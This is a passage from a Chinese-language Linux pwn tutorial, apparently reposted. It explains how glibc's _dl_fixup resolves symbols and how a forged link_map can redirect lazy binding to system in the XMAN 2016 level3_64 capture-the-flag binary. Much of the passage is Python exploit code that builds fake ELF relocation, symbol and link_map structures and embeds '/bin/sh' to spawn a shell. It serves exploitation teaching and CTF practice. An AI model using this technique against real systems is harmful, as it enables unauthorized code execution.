# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS            ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif            struct link_map *l, ElfW(Word) reloc_arg) {   ………… //變量定義,初始化等等   if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判斷函數是否被解析過。此前我們一直利用未解析過的函數的結構體,所以這里的if始終成立    …………       result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL); …………     }   else     {       /* We already found the symbol.  The module (and therefore its load          address) is also known.  */       value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);       result = l;     } ………… }

通過注釋我們可以看到之前的if起的是判斷函數是否被解析過的作用,如果函數被解析過,_dl_fixup就不會調用_dl_lookup_symbol_x對函數進行重定位,而是直接通過宏DL_FIXUP_MAKE_VALUE計算出結果。這邊用到了link_map的成員變量l_addr和Elf32/64_Sym的成員變量st_value。這里的l_addr是實際映射地址和原來指定的映射地址的差值,st_value根據對應節的索引值有不同的含義。不過在這里我們並不需要關心那么多,我們只需要知道如果我們能使l->l_addr + sym->st_value指向一個函數的在內存中的實際地址,那么我們就能返回到這個函數上。但是問題來了,如果我們知道了system在內存中的實際地址,我們何苦用那么麻煩的方式跳轉到system上呢?所以答案是我們不知道。我們需要做的是讓l->l_addr和sym->st_value其中之一落在got表的某個已解析的函數上(如__libc_start_main),而另一個則設置為system函數和這個函數的偏移值。既然我們都偽造了link_map,那么顯然l_addr是我們可以控制的,而sym根據我們的源碼分析,它的值最終也是從link_map中獲得的(很多節區地址,包括.rel.plt, .dynsym, dynstr都是從中取值,更多細節可以對比調試時的link_map數據與源碼進行學習)

const ElfW(Sym) *const symtab     = (const void *) D_PTR (l, l_info[DT_SYMTAB]);   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);   const PLTREL *const reloc     = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);   const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

所以這兩個值我們都可以進行偽造。此時只要我們知道libc的版本,就能算出system與已解析函數之間的偏移了。
說到這里可能有人會想到,既然偽造的link_map那么厲害,那么我們為什么不在前面的dl-resolve中直接偽造出.dynstr的地址,而要通過一條冗長的求值鏈返回到system呢?我們來看一下上面的這行代碼

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

根據位於glibc/include/Link.h中的link_map結構體定義,這里的l_scope是一個當前link_map的查找范圍數組。我們從link_map結構體的定義可以看出來其實這是一個雙鏈表,每一個link_map元素都保存了一個函數庫的信息。當查找某個符號的時候,實際上是通過遍歷整個雙鏈表,在每個函數庫中進行的查詢。顯然,我們不可能知道libc的link_map地址,所以我們沒辦法偽造l_scope,也就沒辦法偽造整個link_map使流程進入_dl_lookup_symbol_x,只能選擇讓流程進入“函數已被解析過”的分支。
回到主題,我們為了讓函數流程繞過_dl_lookup_symbol_x,必須偽造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根據sym的定義,我們就得偽造symtab和reloc->r_info,所以我們得偽造DT_SYMTAB, DT_JMPREL,此外,我們得偽造strtab為可讀地址,所以還得偽造DT_STRTAB,所以我們需要偽造link_map前0xf8個字節的數據,需要關注的分別是位於link_map+0的l_addr,位於link_map+0x68的DT_STRTAB指針,位於link_map+0x70的DT_SYMTAB指針和位於link_map+0xF8的DT_JMPREL指針。此外,我們需要偽造Elf64_Sym結構體,Elf64_Rela結構體,由於DT_JMPREL指向的是Elf64_Dyn結構體,我們也需要偽造一個這樣的結構體。當然,我們得讓reloc_offset為0.為了偽造的方便,我們可以選擇讓l->l_addr為已解析函數內存地址和system的偏移,sym->st_value為已解析的函數地址的指針-8,即其got表項-8。(這部分在源碼中似乎並沒有體現出來,但是調試的時候發現實際上會+8,原因不明)我們還是以~/XMAN 2016-level3_64/level3_64為例進行分析。
首先我們來構造一個fake link_map

fake_link_map_data = "" fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main fake_link_map_data += '\x00'*0x60 fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTAB fake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTAB fake_link_map_data += '\x00'*0x80 fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL 后面的link_map數據由於我們用不上就不構造了。根據我們的分析,我們留出來四個8字節數據區用來填充相應的數據,其他部分都置為0. 接下來我們偽造出三個結構體 fake_Elf64_Dyn = "" fake_Elf64_Dyn += p64(0)                                #d_tag fake_Elf64_Dyn += p64(0)                                #d_ptr fake_Elf64_Rela = "" fake_Elf64_Rela += p64(0)                                #r_offset fake_Elf64_Rela += p64(7)                                #r_info fake_Elf64_Rela += p64(0)                                 #r_addend fake_Elf64_Sym = "" fake_Elf64_Sym += p32(0)                                 #st_name fake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndx fake_Elf64_Sym += p64(main_got-8)         #st_value fake_Elf64_Sym += p64(0)                                 #st_size

顯然我們必須把r_info設置為7以通過檢查。為了使ELFW(ST_VISIBILITY) (sym->st_other)不為0從而躲過_dl_lookup_symbol_x,我們直接把st_other設置為非0.st_other也必須為非0以避開_dl_lookup_symbol_x,進入我們希望要的分支。
我們注意到fake_link_map中間有許多用\x00填充的空間,這些地方實際上寫啥都不影響我們的攻擊,因此我們充分利用空間,把三個結構體跟/bin/sh\x00也塞進去

offset = 0x253a0 #system - __libc_start_main fake_Elf64_Dyn = "" fake_Elf64_Dyn += p64(0)                                                                #d_tag                從link_map中找.rel.plt不需要用到標簽, 隨意設置 fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向偽造的Elf64_Rela結構體,由於reloc_offset也被控制為0,不需要偽造多個結構體 fake_Elf64_Rela = "" fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行 fake_Elf64_Rela += p64(7)                                                                #r_info                index設置為0,最后一字節必須為7 fake_Elf64_Rela += p64(0)                                                                #r_addend        隨意設置 fake_Elf64_Sym = "" fake_Elf64_Sym += p32(0)                                                                #st_name        隨意設置 fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支 fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函數的got表地址-8,-8體現在匯編代碼中,原因不明 fake_Elf64_Sym += p64(0)                                                                #st_size        隨意設置 fake_link_map_data = "" fake_link_map_data += p64(offset)                        #l_addr,偽造為兩個函數的地址偏移值 fake_link_map_data += fake_Elf64_Dyn fake_link_map_data += fake_Elf64_Rela fake_link_map_data += fake_Elf64_Sym fake_link_map_data += '\x00'*0x20 fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        設置為一個可讀的地址 fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向對應結構體數組的地址 fake_link_map_data += "/bin/sh\x00"                                        fake_link_map_data += '\x00'*0x78 fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向對應數組結構體的地址

現在我們需要做的就是棧劫持,偽造參數跳轉到_dl_fixup了。前兩者好說,_dl_fixup地址也在got表中的第2項。但是問題是這是一個保存了函數地址的地址,我們沒辦法放在棧上用ret跳過去,難道要再用一次萬能gadgets嗎?不,我們可以選擇這個

把這行指令地址放到棧上,用ret就可以跳進_fix_up.現在我們需要的東西都齊了,只要把它們組裝起來,pwn it!

閱讀原文即可下載課后練習題和例題~

原文地址:Linux pwn入門教程(10)——針對函數重定位流程的幾種攻擊


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM